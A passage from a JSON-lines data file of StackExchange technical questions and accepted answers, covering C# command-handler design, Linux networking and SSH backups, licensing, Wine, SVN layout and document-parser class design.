buildingFactory;    string buildingType;    public void Execute(IData data)    {        var building = buildingFactory.createBuilding(buildingType);        data.AddBuilding(building);    }}I can have different methods in the command handler for each command and call the appropriate method using switch case, but that would violate the Open/Closed principle. So my real question is - How to implement this without violating the Open/Closed principle."  , "title": "Command handler executing commands with different dependencies"  , "tags": "c#;object oriented;architecture"  , "accepted_answer": "The problem you have is the conversion of the string to the class.Not much you can do about it, As you will always have to have some factory which knows how to parse string x into object a,b,c somewhere.But I would move the logic outside the command handler, which should just accept the command objects. And do the conversion as the strings are read into the application, via a repository (your inputReader or IData?) into which you inject your string parsing factories. If you allow failover, so that when one repo/factory cant handle an input string it moves onto the next, that will give you further seperation of concerns.If you use a DI or object serialization/deserialization library in yoir repo/factories (unity,json.net) that will hide some of the reflection/switch statements from your code and make it neater.Also I would allow for the case where a command cannot be handled. This isnt a bad thing, you should expect only to be able to handle the commands your code 'knows' about and for some other program to deal with the others.Additionaly, are you sure you need both commandHandler AND command.Execute() it seems to me that  you should choose one or the other. If you go with command handlers you cam have one or more per type. The handler has the injected dependancies and the logic from the execute method.This keeps your handler decoupled, as it only handles a single type of command, you can pull only those types from a queue(IData).Of course if you keep execute and only pull one type (or set of known types) of object you have the exect same code just arranged differntly, but you can cut out the command handler class, as it just calls execute.The benefit (if any) of the handler is you can handle the same command type more than one way. Whereas with execute you have to define a new command type with the same data.example :class Engine(){    IData data; // application database    IInputReader inputReader;    Dictionary<string,ICommandHandler> commandHandlers;    public void Run()    {        //todo use a DI framework to inject these types         commandHandlers = new Dictionary<string,ICommandHandler>();        commandHandlers.Add(DisplayData, new DisplayDataCommandHandler(new OutputWriter()) );        commandHandlers.Add(Build, new BuildDataCommandHandler(new Builder()) );        foreach(var data in this.data.GetCommands())        {            if(commandHandlers.Keys.Contains(data.type))            {                var command = inputReader.Read(data.type, data.serializedObject);                //handle the command                commandHandlers[data.type].Handle(command);            }            else            {                //some other program will handle these commands            }        }    }}public class InputReaderAndFactory : IInputReader{    public ICommand GetCommand(string commandType, string commandJson)    {        switch (commandType)         {            case DisplayData :                return JsonConvert.DeserializeObject<DisplayDataCommand>(commandJson);            case Build :                return JsonConvert.DeserializeObject<BuildCommand>(commandJson);            default :                return new UnknownCommand(commandJson);        }    }}class DisplayDataCommandHandler : ICommandHandler{    IOutputWriter outputWriter;    public DisplayDataCommandHandler(IOutputWriter outputWriter)    {        this.outputWriter = outputWriter;    }    public void Handle(ICommand command)    {        var cmd = command as DisplayDataCommand;        outputWriter.Print(cmd.Data.ToString());    }}class BuildDataCommandHandler : ICommandHandler{    IBuilder builder;    public BuildDataCommandHandler(IBuilder builder)    {        this.builder = builder;    }    public void Handle(ICommand command)    {        var cmd = command as BuildCommand;        builder.Build(cmd.Data, cmd.MoreData);    }}class DisplayDataCommand : ICommand{    public Data Data {get;set;}}class BuildCommand : ICommand{    public SomeOtherTypeOfData Data {get;set;}    public MoreData MoreData {get;set;}}"  } 
{  "id": "_unix.102349"  , "question": "I have access to my university's VPN through OpenVPN, and would like to extend it to all the devices at home. I have cable internet, a DD-WRT router, a bunch of clients (mostly Windows), and a RHEL-derivative, two-NIC, always-on PC. Right now, the Linux router intermediates the traffic, with a setup is modem <-> RHEL-like router <-> DD-WRT device <-> clients. Usually, the traffic is masqueraded directly, but the Linux router automatically connects to uni's VPN, and for a bunch of journals, a script sets up VPN-intermediated traffic: ip route add table main 123.45.67.89 dev tun0.I'd like to replace the RHEL computer with a single-NIC computer. The setup I am thinking about is modem <-> DD-WRT device <-> {clients, new RHEL router}. RHEL router will connect to the internet via the DD-WRT device. It will also connect to VPN. When the other clients want access to the internet, DD-WRT should route them through RHEL, which in turn will decide to route directly or, if a connection to 123.45.67.89 is desired, through tun0. Is that possible? How would you do it?"  , "title": "complex dd-wrt routing setup - is it possible?"  , "tags": "routing"  } 
{  "id": "_softwareengineering.94620"  , "question": "I'm a C++ developer. I know how Windows works on the native level, but I'm not a big expert in C# and .NET. Now I need a C# developer in my team (all my developers are C++). How can I hire a great C# developer if I don't know C# at good level? How to ask questions, how to test whether answers are great or are with silly mistakes?"  , "title": "How to hire a good C# developer if I don't know C#?"  , "tags": "c#;c++;hiring"  , "accepted_answer": "I am occasionally faced with the problem of interviewing programmers who are primarily experienced in C++, which I do not know as well as them. My strategy is to: mostly ask general programming questions, algorithms, OO design, how torefactor, what makes a good unit test, etc. I add in a few generalquestions targeted at the style of language so for C++ I might askabout memory management and object lifetimes for C# I might askthings like, can you have a memory leak when using a garbagecollector?try to find out how they learnt the language, what books they have read, etc.verify that they have written a substantial amount of C++. Go intodepth on when they have used it, how much, what they did with it andwho for. Then try to check this as far as possible using theirreferences.If they can answer the difficult design and theory questions well and they have written a decent amount of C++ then I expect they will be half good at least, and probably able to learn any missing stuff quite quickly."  } 
{  "id": "_unix.238922"  , "question": "My server hosted at Hostgator was recently hit by malware and hence to monitor the file system I use find -mmin -xx command at regular intervals. But everytime I run the find command, I see the first 2 results returned are the same:ramnath@mysite.com [~]# find -mmin -10./.bash_history./.dnsWhile the ./.bash_history is understable, I can't really figure out what changes are made to the ./.dns entry? Although it should be noted that on physical verification of the dns entry I find no altercations.Pls help me understand."  , "title": "What changes are made to ./.dns?"  , "tags": "shell;find;dns"  } 
{  "id": "_unix.352374"  , "question": "When I use the command ping ff02::1%eth0 to get a response from all IPv6 hosts in the network segment, I get responses from a bunch of link-local (fe80::) addresses (LLIPs).In order to figure out which hosts are (or are not) responding, I then have to use arp to see the MAC address associated with the IPv4 address, and then try to match them up with the IPv6 address to figure out which host is which.Although I am starting to remember which MAC address belongs to which host, I'd much rather have the system automatically map the LLIPs back to hostnames.Is there any mechanism to do this?I have tried putting the LLIP in /etc/hosts, with and without the zone (%interface suffix), and this allows me to ping a single host by name, but it is not used by ping to convert IP responses back to hostnames.ping has the -n option to avoid name resolution which hints to me that what I am trying to achieve is possible, I'm just not quite sure how to do it!"  , "title": "Make ping show hostnames instead of IPv6 addresses"  , "tags": "ipv6;ping;hosts"  } 
{  "id": "_softwareengineering.215219"  , "question": "Is there any reason anyone would use GPL v2 over GPL v3 when starting a new project, or is GPL v2 still around only because older projects can't or haven't updated their license yet?"  , "title": "Is there a reason someone would choose GPLv2 instead of GPLv3?"  , "tags": "licensing;gpl"  , "accepted_answer": "If you use GPL v3 you give up your right to assert patents you have on the technology.If you own patents and want to monetize these, don't distribute your patented code under GPL v3."  } 
{  "id": "_reverseengineering.14749"  , "question": "I'm tryin to RE dark souls 2.But, the strings are f***** up. I tried searching for DARK SOULS II which is the name of the window. No luck. I think it uses some encryption method (I've checked every dll and exe in the DS2 directory, no luck). Heres a pic of what I mean:As you can see, I'm clearly searching dark souls ii, and nothing pops up (this is the exe file thats being disassembled). However, I've searched in every other dll file, still no luck.What's going on?"  , "title": "Dark Souls 2 String Encryption?"  , "tags": "c++;encryption"  } 
{  "id": "_unix.239220"  , "question": "I'm running XFCE 4.12 with 3 monitors setup into two X screens and two video cards on the same computer. Two of the monitors form a single X screen using nvidia twinview functionality, which is Screen0 on Device0 in the Xorg config. The 3rd monitor is for the second screen which is Screen1 on Device1 in the Xorg config. I can drag windows fine between the monitors on Screen0. I can also move my mouse freely between Screen0 and Screen1 and even the clipboard data is carried between the two X screens ok.Both of these X screens act as independent desktops which have their own set of viewports. I like it this way and its useful for making one side stick automatically. However if I start a program on one X screen, I can't move it to the other X screen by simply dragging it. If I want to run that program on the other screen I have to restart it on that screen.My question is if there is way to move the program while its running to the other screen using some command or other function of X windows. Thanks.Update: I'm going to start a bounty on this question but I've been wondering about this for a while.  To earn the bounty, you have to provide some citation for proof."  , "title": "Possible to move a window from one X screen to another on same host?"  , "tags": "x11;xorg"  } 
{  "id": "_unix.72759"  , "question": "I'd like to be able to install Apache Subversion on Red Hat with yum.  Can anyone recommend a package repository?  "  , "title": "Looking for a yum package repository containing apache subversion"  , "tags": "rhel;yum;subversion"  , "accepted_answer": "Is there something you wouldn't be getting with the Subversion package in the default channel? Step-by-step guide to installing subversion on RHEL"  } 
{  "id": "_unix.4999"  , "question": "I'm looking for somthing like top is to CPU usage. Is there a command line argument for top that does this? Currently, my memory is so full that even 'man top' fails with out of memory :)"  , "title": "How to find which processes are taking all the memory?"  , "tags": "process;memory;top"  , "accepted_answer": "From inside top you can try the following:Press SHIFT+fPress the Letter corresponding to %MEMPress ENTER You might also try:$ ps -eo pmem,pcpu,vsize,pid,cmd | sort -k 1 -nr | head -5This will give the top 5 processes by memory usage."  } 
{  "id": "_webmaster.102602"  , "question": "I run a site that has a paging list showing a fixed number of items per page. I want to find out how how likely users are to navigate to the next page, given there is a next page. In other words, if my event tracking shows that on, say, page 3, users are very unlikely to click next, I want to be sure that this is not because most of the list are only 3 pages long.My idea has been to send one event for each page view that tells GA whether this particular page is the last or not, and then to send another event if the user clicks on 'next'. I would then assume I could somehow extract information in Google Analytics telling me how often a user clicks 'next', given the last event was one saying the current page was not the last.However, this does not appear to be something Google Analytics can easily do. My question therefore is: Is there another way to solve the same problem, or is there indeed away to get the information from Google Analytics with the approach I've been using?Update: I want to clarify that on my site there are many of these lists, and they are of varying lengths. Which means that sometimes when the user is on page 2 of a list, sometimes there is a page 3 and sometimes there isn't. Obviously the user can't go to page 3 if there are only two pages. If I don't correct the data for these cases, I have no way of knowing if a sharp decline in users clicking 'next' is caused by a unusually many list that are only one page long, or something else."  , "title": "How do I determine how many users click 'next' given 'next' exists?"  , "tags": "google analytics;pagination"  } 
{  "id": "_unix.272572"  , "question": "I changed my /etc/issue file to display IP and system info with background color, and built a system which run on CentOS 7, but problem is when i deploy my machine on ESX it display regular /etc/issue file containt and after login and logout to Virtual console it display correct things with my changes !This is just after deploy i see and after i login and logout i see correct things !can someone please suggest me how do i get it fixed ?Thanks "  , "title": "/etc/issue file does not get reflect without login logout"  , "tags": "systemd;login;virtual machine;logout;getty"  } 
{  "id": "_codereview.57378"  , "question": "One of the tenets of Windsor IoC (probably applies to all IoC containers too) is to release what you explicitly resolve, which admittedly should occur rarely.  But we have a fair few UsingFactoryMethod setups in our installers, which are resolving directly (which appears to be a valid case for explicit resolution).However, remembering to call Dispose() on those resolved things is something I doubt a lot of people will remember, so I came up with a helper method in order to be able to wrap that logic away (always a good thing, right?).  However, I'm not sure if it's just a bit overkill in this case.namespace Castle.Windsor {    using System;    using Castle.MicroKernel;    public static class KernelExtensions {        public static ResolvedResult<TInstance> ResolveDispose<TInstance>(this IKernel kernel) {            return new ResolvedKernelResult<TInstance>(kernel);        }        public static ResolvedResult<TInstance> ResolveDispose<TInstance>(this IWindsorContainer container) {            return new ResolvedContainerResult<TInstance>(container);        }        public abstract class ResolvedResult<T> : IDisposable {            public T Instance { get; private set; }            protected ResolvedResult(Func<T> resolver, Action<object> releaser) {                this.Instance = resolver();                this._Releaser = releaser;            }            #region IDisposable Members            public void Dispose() {                if (null == _Releaser) {                    throw new ObjectDisposedException(this.GetType().Name);                }                //Dis-associate the resolved instance, can't null assign as T isn't typed                Instance = default(T);                _Releaser(Instance);                _Releaser = null;            }            #endregion            private Action<object> _Releaser;            public static implicit operator T(ResolvedResult<T> res) {                return res.Instance;            }        }        private sealed class ResolvedKernelResult<T> : ResolvedResult<T> {            internal ResolvedKernelResult(IKernel kernel) : base(kernel.Resolve<T>, kernel.ReleaseComponent) { }        }        private sealed class ResolvedContainerResult<T> : ResolvedResult<T> {            internal ResolvedContainerResult(IWindsorContainer container) : base(container.Resolve<T>, container.Release) { }        }    }}UsageBefore:container.Register(    //...    Component.For<MyComponentType>()        .UsingFactoryMethod(k => {            var altComponent = k.Resolve<SomeAlternativeComponent>();            var component = new ImplementingComponentType(altComponent.RandomProperty);            k.ReleaseComponent(altComponent);            return component;        }))After:container.Register(    //...    Component.For<MyComponentType>()        .UsingFactoryMethod(k => {            using(var altComponent = k.ResolveDispose<SomeAlternativeComponent>()) {                return new ImplementingComponentType(altComponent.Instance.RandomProperty);            }        }))"  , "title": "Helper extension to release Windsor component; not sure if it's over-kill"  , "tags": "c#;extension methods"  } 
{  "id": "_unix.373820"  , "question": "I have a script built just a way to learn bash and it uses jq for json parsing suppose someone else downloads it and runs the file, will bash automatically prompt the user to install jq or should I include in the script to install it?Yes I understand that the terminal will probably throw jq: command not found but is there a way to handle it more gracefully? Or is this how it's usually handled?How is that do you want to install the package jq (Y/N)? is achieved?"  , "title": "Should I include code to install the packages that my script requires?"  , "tags": "shell script;dependencies;packaging;jq"  , "accepted_answer": "You should leave it. Typically, you would only install dependencies when creating a package for a specific package manager, not as part of a program or script.There are so many different package managers, each with their own way of handling dependencies, and you want to let people choose which one to install with. That way they can be consistent. Otherwise, they could end up with problems like duplicate packages and incompatible versions of libraries.Also, your script won't know how to install dependencies on all systems, even if you compile from source (some machines don't have a compiler).You should list them in your documentation, if you have any (README file, comments, etc.)"  } 
{  "id": "_softwareengineering.317260"  , "question": "For the company I work at, all of our projects,including a new one started last year, are written in C89.We write for vxWorks (a real time embedded operation system).Our software runs multi-threaded through various spawned tasksWe are massively behind schedule, and I am struggling to be productive based on the company's design for new software components.  Coming from a C++ background, I'm use to wrapping mutable state inside of a class, and then providing methods as an interface to manipulate the state:  I realize that C doesn't have these language features, but I've always been under the impression that C developers do something similar with a set of global functions and having their struct as the first argument to all of these functions.  In both of these cases, we still have an interface.  It describes the actions that can be taken on the component, and helps with readability / dealing with mutable state.   I am not allowed to write software components in the way I described above.Our company design, as I have come to understand it, is as followed:  Every component must be expressed as a TypeInput, and a TypeOutput.  Each component will have two global functions associated with it:  Initialize (takes and modifies TypeOutput)Update (takes TypeInput, and TypeOutput; modifies TypeOutput)Here is the smallest example I could find that helps express the idea.A popable breaker: typedef struct CircuitBreakerInputs_t{    BOOL m_bPopped;} CircuitBreakerInputsT;typedef struct CircuitBreakerOutputs_t{    BOOL m_bPopped;} CircuitBreakerOutputsT;void InitializeCircuitBreaker(CircuitBreakerOutputsT *const ptOutputs){  //initalizes ptOutputs}void UpdateCircuitBreaker(CircuitBreakerOutputsT *const ptOutputs, const CircuitBreakerInputsT *const ptInputs){   //observes inputs to modify outputs}On the surface, this may seem like a simple and straightforward design.Inputs become outputs based on the current state of outputs.Now consider a component with more than one functionality.  Let's take a millisecond timer.  It can move forward in time, be paused, be unpaused, and be reset.  That would look like this:  typedef struct MillisecondTimerInputs_t{    BOOL m_bAdvanceTime;    BOOL m_bSetPauseState;    BOOL m_bReset;    BOOL m_bPause;} MillisecondTimerInputsT;typedef struct MillisecondTimerOutputs_t{    double m_dElapsedTime_ms;    BOOL m_bPaused;    unsigned long m_ulLastUpdateTickAmount;} MillisecondTimerOutputsT;void InitializeMillisecondTimer(MillisecondTimerOutputsT *const ptOutputs){      //initializes ptOutputs}void UpdateMillisecondTimer(MillisecondTimerOutputsT *const ptOutputs, const MillisecondTimerInputsT *const ptInputs){       //observes inputs to modify outputs}This gets more complicated to use.  Our inputs, are becoming triggers as to how we want to use the component.  In order to get the specified functionality out of our component, we need to move the interface into the Update call and rely on the input data to dispatch appropriately.   Of course, this allows you to call more than one hidden method when setting more than one method trigger(a boolean) to true.  If the order in which the methods are called matters, you are left to either rely on the implementation, or set each one to triggers separately and call Update for each of them.  You also need to be careful that you aren't calling any additional methods by accident.  For example, when you construct the InputType, you need to set all the triggers to false initially.  Then you need to set the trigger you want to call to true, and call update.  You then need to potentially set that trigger back to false if you intend on enabling a new trigger for the next update.  To make the process easier, I began using enums to represent the method I want to call.  This was more in accordance with the initial design I showed earlier, because only one method can be called based on the enumerated value.  I had to revert back to the booleans through because our design did not permit a third enumerated type for doing this kind of dispatch.  The only way I was able to write concise tests for these components, was by creating a set of utility functions that take the OutputType, forward params into the input struct, and surface the appropriate output as a return value. This gave me back the interface I lost.  I then went on to write a language that allowed me to express code in the same manner as the first diagram.  I write code as a stateful object with an API in C++, and it can algorithmically be turned into any of the other diagrams shown thus far.  Based on this design I can better construct, and test the code.  I generate the input/output C design, and then I generate a C++ wrapper that holds the C OutputType, and provides the interface shown in the diagram above.  My automation breaks down in regards to component composition.Our company prohibits InputTypes from containing OutputTypes, and vice versa.  Which is unfortunate, because the OutputTypes are what have the state.  So I can't easily pass a component into the method of another component.  It is inputs, outputs, and updates all the way down.  Additionally, you can only call update once for each of the sub components.   Only being able to call Update once on each of the sub-components, has also hurt my productivity.  Dealing with component interaction, and component transformation has to be done over the duration of various Updates.  There are other routes I have tried to take, but it overcomplicates the Input/Output types.  Are there good merits to this design?The lead engineer has told me:  however the stateful object above has no specific division of memory  for mutual exclusion.  In order to do this, we needed new objects for  memory management and cross thread locksIs this design better for multithreading?  I don't understand why we couldn't just make copies, and still use the threading mechanisms appropriate when dealing with shared memory.  Additionally, we don't use any threading in our sub components, and the highest level OutputType, gets copied while performing a semaphore locked read/write.  We also don't use any dynamic memory allocation on the heap, but even if we did, I don't think this would affect the explanation.  We would just need to manage that memory appropriately, when making copies and such.  "  , "title": "What are the benefits of an input/output component design?"  , "tags": "design;c++;c;object oriented design;interfaces"  } 
{  "id": "_webapps.30182"  , "question": "If I make a series of edits on Wikipedia that I decide to revert, is it possible to revert multiple edits at once?The edits are spread across multiple articles."  , "title": "Reverting multiple edits at once on Wikipedia"  , "tags": "mediawiki;wikipedia"  } 
{  "id": "_opensource.1809"  , "question": "Suppose I have some open source project which makes use of both GPL and MIT licensed components.  The source code of my project is also MIT licensed (not copyleft).What is the right way to indicate this and comply with all licenses in the final (binary) distribution of the software?Many projects just include a single LICENSE.txt or COPYING.txt file, but due to the multiple licenses I'm not sure how to apply that here without creating confusion.  The requirements are the following:Due to the GPL component the binary distribution must be distributed under the GPL. This has to be made clear.But I don't want to create the misconception that the project's source code is GPL licensed, as it is not (and has substantial reusable parts that do not depend on GPL'd libraries).The license of all utilized libraries needs to be indicated, with attribution (i.e. from the MIT license: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.)What is the usual way to achieve this? What text should go where in the final package, to make sure I comply with all requirements and do not create confusion? This is not a GUI program."  , "title": "How to best indicate license of source code and copying terms of binary when multiple licenses are involved?"  , "tags": "licensing;copyleft;distribution;attribution"  } 
{  "id": "_reverseengineering.14190"  , "question": "I'm trying to reverse engineer a game with the goal of creating an emulator.I want to know how to get the structure of a network packet of a game whether it is client or server.Example (Random) Client -> Server: XX XX XX XX XX XX XX XX XX XX XX XX XX Structure: uint16: 10 - byte: 3 - int16: 300 I just want to know how to get the type of each byte is.I already gathered a few packet structures from publically available repos.I want to know how everyone does this? Is there a tool out there that helps with getting structures?"  , "title": "How to get Packet Structures"  , "tags": "packet;structure"  } 
{  "id": "_webmaster.28213"  , "question": "I would like to find a nice white cotton paper texture, which is very common in printwork, but seems really difficult to find online. this will be for commercial work."  , "title": "looking for cotton paper texture"  , "tags": "graphics;photoshop"  } 
{  "id": "_unix.247074"  , "question": "I have a very strange problem. I have two servers, namely daytona, which serves as a storage server with a raid array. I WOL it when I want to back up to it. The second server is testarossa which runs my services. It is the latter that I want to backup daily using duplicity. Both machines run Ubuntu Server 14.04, fully up-to-date.I have written a script to WOL the machine and then execute the duplicity backup each day on a fixed time. The import part of the backupscript is shown below. The backup runs as user root on testarossa and backups over SSH via backupper on daytona. Then it shuts down via ssh using user christophe on daytona.I have configured ssh keys on testarossa so I can ssh into daytona using backupper and christophe. I can execute the commands from the script just fine, and even execute the script in the shell as well (./script.sh). I have added the script in the cronjobs using:0 10  * * * /bin/bash /root/scripts/dailybackup >> /var/log/backup.daily.log 2>&1Each time the cronjob runs I get the following error:BackendException: ssh connection to backupper@192.168.1.120:22 failed: [Errno 111] Connection refusedI have, suggested on #ubuntu-server, tried echo  | nc 192.168.1.120 22 and that returns the following error:SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.3Protocol mismatch.This led me to believe that I had to upgrade daytona which I did. There was an upgrade for the gnu-openssl package and then the cronjob ran fine. But now it doesn't anymore.I am out of ideas on how to debug this. I have too little experience to fix it. Any pointers?Scriptserverip=192.168.1.120servermac=14:DA:E9:4C:6E:17attempts=50sourcedir=/targetdir=sftp://backupper@192.168.1.120//mnt/raidarr0/backups/testarossa/duplicity/dailyencryptkey=AC7A8F8Ckeep=1Msudouser=christophe fullbackup=## Load in the passphrase file env variable. /root/.passphraseexport PASSPHRASE## Do the snapshot backupif [ $fullbackup == full ]; then    $(which duplicity) full --encrypt-key $encryptkey --exclude /srv --exclude /usr --exclude /cdrom --exclude /lib64 --exclude /bin --exclude /sbin --exclude /boot   --exclude /dev --exclude /proc --exclude /sys --exclude /tmp --exclude /run --exclude /mnt --exclude /media --exclude /lost+found $sourcedir $targetdirelse    $(which duplicity)      --encrypt-key $encryptkey --exclude /srv --exclude /usr --exclude /cdrom --exclude /lib64 --exclude /bin --exclude /sbin --exclude /boot   --exclude /dev --exclude /proc --exclude /sys --exclude /tmp --exclude /run --exclude /mnt --exclude /media --exclude /lost+found $sourcedir $targetdirfiecho Backup to target completed.## Remove older backups. We only want to backup 30 days. # (We have a full every month)$(which duplicity) remove-older-than $keep --force $targetdirecho Removal of stale backups completed## Shut down the machine using a sudo account. Expects the user to have a key installed for this.ssh $sudouser@$serverip sudo shutdown -h nowecho Shutdown command issued to remote machineFollow up:1) The script has a function which waits for the host to be ping-able. So it only starts backing up when the host has fully booted. (This script ran fine for over a year on a different machine with Debian.)2) The script runs fine in the shell of the root indeed.3) And no, I do not have a proxy command in either setting files.4) I have tried running the command using sudo /bin/bash /root/scripts/dailybackup and now, for some reason, it asks me to verify the authenticity of the host (with yes/no). So now it seems like the duplicity command is not using my known_hosts file? "  , "title": "SSH Protocol mismatch"  , "tags": "ubuntu;ssh;duplicity"  } 
{  "id": "_webapps.98887"  , "question": "Would it be possible to automatically export a Google sheet to a SQL type database which I could query? I am trying to make a information dashboard out of the sheet that contains data from a Google form. What possible ways could I do this?"  , "title": "Google Sheets to SQL type database"  , "tags": "google spreadsheets;migrate data"  } 
{  "id": "_unix.79103"  , "question": "I'm trying to use netcat on Linux server to stream video to my windows client using VLCI started running netcat on Linux: cat /media/HD1/myMovie.mkv | nc -l 8668In VLC Windows Client I tried to:Open VLC > Open network stream vlc > rtp://@serverIP:8668Without success."  , "title": "Stream Video using Netcat and VLC"  , "tags": "raspberry pi;vlc;netcat"  } 
{  "id": "_cogsci.8876"  , "question": "For example, I show to my students that XY=Z, so I ask for them to do some exercises, so in the future, they will always know that XY=Z.Is there any known study relating the numbers of exercises needed to learn a subject?And that relates the numbers of steps with the amount of practise?Because we can see clearly that the sequency 1-3-8 is easier to remember than 1-3-8-6-9-8-7-5-5.But the second sequency will need three more times of exercise to remember?I think this may be useful in my studies, considering time a important factor.If a do just some exercises, I just can half learn, and if I study much more than I need, I waste my time."  , "title": "Number of exercises and the learning of some subject?"  , "tags": "mathematical psychology;long term memory;mathematical ability;short term memory"  } 
{  "id": "_unix.43068"  , "question": "I am trying to use Wine to play a 3d game on Linux that will run as long as the base system has the correct Direct X rendering. I have tried the Wine configurations and come up with:http:/(s19.postimage.org/lgv1ky8dv/Selection_002.jpg)$# wine ~/.wine/drive_c/windows/system32/dxdiag.exeX Error of failed request:  BadRequest (invalid request code or no such operation)Major opcode of failed request:  136 (GLX)Minor opcode of failed request:  19 (X_GLXQueryServerString)Serial number of failed request:  145Current serial number in output stream:  145The error may be related to the Wine configuration but I followed the guide (with ver jun2010) to the T on this and I just can't seem to get this to work on my Pinguy (Ubuntu 12.04 kernel: 3.2.0-25-generic-pae) system. Can anyone assist me with these drivers?I believe it is a bug within the X.org. I do not have an /etc/x11/xorg.conf and my system graphics settings does not show (as other bug reports have said also). I still don't understand how I can fix this.I have tried AMD installs (in case my processor has a hybrid). I have tried to see if I could compile a new driver (unsuccessful).I believe it is the stock drivers (MESA Intel sandybridge) but it should be (Intel HD 3000) also I have found that there is a bug reported for xorg or mesa (both are listed as causes) where it does not show up on the system tools and does not play well, both are my symptoms, yet installing mesa-tools does not solve itMy complete computer specs"  , "title": "Wine fails with DirectX on Pinguy"  , "tags": "xorg;wine;opengl"  } 
{  "id": "_webapps.16762"  , "question": "Possible Duplicate:How do I download a YouTube video? Im looking for an app, which downloads the playlist videos one after another from youtube.For example in the webpage top documentary flims for story of science, the youtube video has 36 video in a playlist. I would like an app to download all the 36 video automatically."  , "title": "Downloading youtube playlist"  , "tags": "youtube;download"  } 
{  "id": "_codereview.19274"  , "question": "I'm currently clearing my console window with this piece of code:void clrScr(){    COORD cMap =    {        0, 3    };    if(!FillConsoleOutputAttribute(hCon, 0, 2030, cMap, &count))    {        std::cout << Error clearing the console screen. << std::endl;        std::cout << Error code:  << GetLastError() << std::endl;        std::cin.get();    }}, which I call once in the main loop.But since my window is quite large (70x35), it's flickering quite a bit.I was wondering if there are any faster methods of doing this?"  , "title": "Is there a faster way to clear the screen?"  , "tags": "c++;optimization;performance;console"  , "accepted_answer": "I decided that the best way to clear the screen - at least for a text-based game in console - is to clear literally only the individual squares that need to be cleared, instead of the whole window."  } 
{  "id": "_softwareengineering.272757"  , "question": "At the moment I am using one repository for project with the following default structure:project - trunk     - docs - branches - tagsI would like to know if is a good practice store the docs outside trunk folder example:project - docs - trunk - branches - tags"  , "title": "Where should documentation files be saved in SVN?"  , "tags": "svn"  , "accepted_answer": "The (dis-)advantages of having your documentation inside the trunk of the repository depends on a number of factors. Some of the more important ones are:Your branching strategyHow comparable the documentation lifecycle and the software lifecycle areYour workflow for keeping the documentation up-to-date and the format of your documentationIf you create a new tag/branch for each release and the documentation gets released in tandem with the code, keeping the documentation inside the trunk has the advantage that it becomes easy to find the documentation that goes with a particular past release, as the documentation gets copied to the tag/branch together with the sources.On the other hand, if your documents are released on a different cycle than the code (for example, the code gets tagged and released daily, but the documentation only once every 3 weeks), then there is no advantage to having the documentation inside trunk, as most software releases will then contain unreleased (and probably incomplete) documentation.As a final possibility, if you regularly work on feature branches (and you are in the habit of updating the documentation as you write the code), then keeping binary documentation files inside trunk can cause you a lot of merge grief when merging the branch back to trunk. It should be noted that the fileformats used by the major wordprocessors are all binary (either proprietary or compressed XML)."  } 
{  "id": "_unix.41456"  , "question": "I want to kill a process, after finding the id in a single step.I currently use these two commands:pidof <name>kill <#number_which_is_result_of_command>How can I write a single command to do this? "  , "title": "How to kill a process with a single command?"  , "tags": "command line;process;kill"  } 
{  "id": "_webapps.17425"  , "question": "How can I stop the YouTube player from showing related video thumbnails and links?I am in search of YouTube video code that shows only the videos in our YouTube stream, i.e., only the videos we have uploaded."  , "title": "How to stop YouTube player from showing related videos?"  , "tags": "youtube;video"  } 
{  "id": "_codereview.75397"  , "question": "I implemented sequenceA:sequenceA :: Applicative f => [f a] -> f [a]sequenceA []     = pure []sequenceA (x:xs) = (++) <$> (fmap (\\y -> [y]) x) <*> sequenceA xsI don't like the fact that I'm making a new list, and then concatenating the result via ++.However, I'm not sure how to make use of cons, i.e. :, in this function.Please critique it."  , "title": "Implementing `sequenceA`"  , "tags": "haskell;reinventing the wheel"  } 
{  "id": "_softwareengineering.259919"  , "question": "I'm working on a document processing system.I feel confident with a Document class which represents each document being processed.The issue:Each Document can have a CoverSheet, and if it does, we need to get CoverSheetInfo from this CoverSheet (for renaming and processing). But checking for a CoverSheet and coercing the info into CoverSheetInfo involves a fair amount of Apache PDFBox code.I'm trying to decide on the best place to have this functionality.Option 1Document class will have these methods:public boolean hasCoverSheet()public CoverSheetInfo getCoverSheetInfo()Pros:Behavior is close to the data -- the process of checking a Document for a CoverSheet takes place in Document which seems sensible.Cons:This adds a lot of PDFBox - related parsing lines which make the other-wise simple set-get Document look cluttered and makes the Document class exceed 300 lines to include this functionality. Thus Option 2...Option 2Create a DocumentParser class which would have:public boolean hasCoverSheet(Document document)public CoverSheetInfo getCoverSheetInfo(Document document)Pros:All the PDFBox - specific parsing code is in it's own Class. I think this is a good example of enforcing Single Responsibility/Law of Demeter As I don't think Document should necessarily know how to parse information from cover sheets.Cons:Awkward(?) separation of behavior from data(?)Which one seems most reasonable and how so?Edit: I'm desperate. Any feed back would be absolutely. fricken. loved.Edit 2A Document is in this case a scanned mortgage document, and it will always be a PDF. A Document is created when my app finds files in a directory (one Document is made for each file found). DocumentParser should process Documents, right, File was a typo.At this point, Document is just a wrapper around the File essentially. In Option 1, it would have CoverSheetInfo as a field and File stubFile as well as boolean regarding the existence of these things.Here's the story for what I'm doing:Someone will scan a document. It will end up in a directory. My app needs to look at that directory, and rename the files by their cover sheet (if they have one) make a stub out of the first 8 pages (if the file is very large) Upload these files (and any stubs made) to Google Drive."  , "title": "Design - Parser.hasInfo(MyClass) vs MyClass.hasInfo()"  , "tags": "java;design;class design"  , "accepted_answer": "As far as I understood,  the cover page is an important property of a document in your application. Then I'd represent it with a getter. The business classes dealing with renaming the document then only need the Document object and have no dependency to a parser which they do not care about. How that getter is implemented is a different question. You could for example provide a mock implementation that provides a pre-defined cover page for unit testing. To solve the problem of a long class with multiple responsibilities, you could extract the parsing code to a separate class that is used by the real Document implementation.To go one step further, the parser instance could be provided to the Document constructor. That's called dependency injection and decoples the parser from the document, so that other parsers could be used. For exapmle, the unit test of Document can use a mock implementation of the parser. There are frameworks like weld which essentially provide a factory to create classes without knowing the exact dependency (i.e. the parser)."  } 
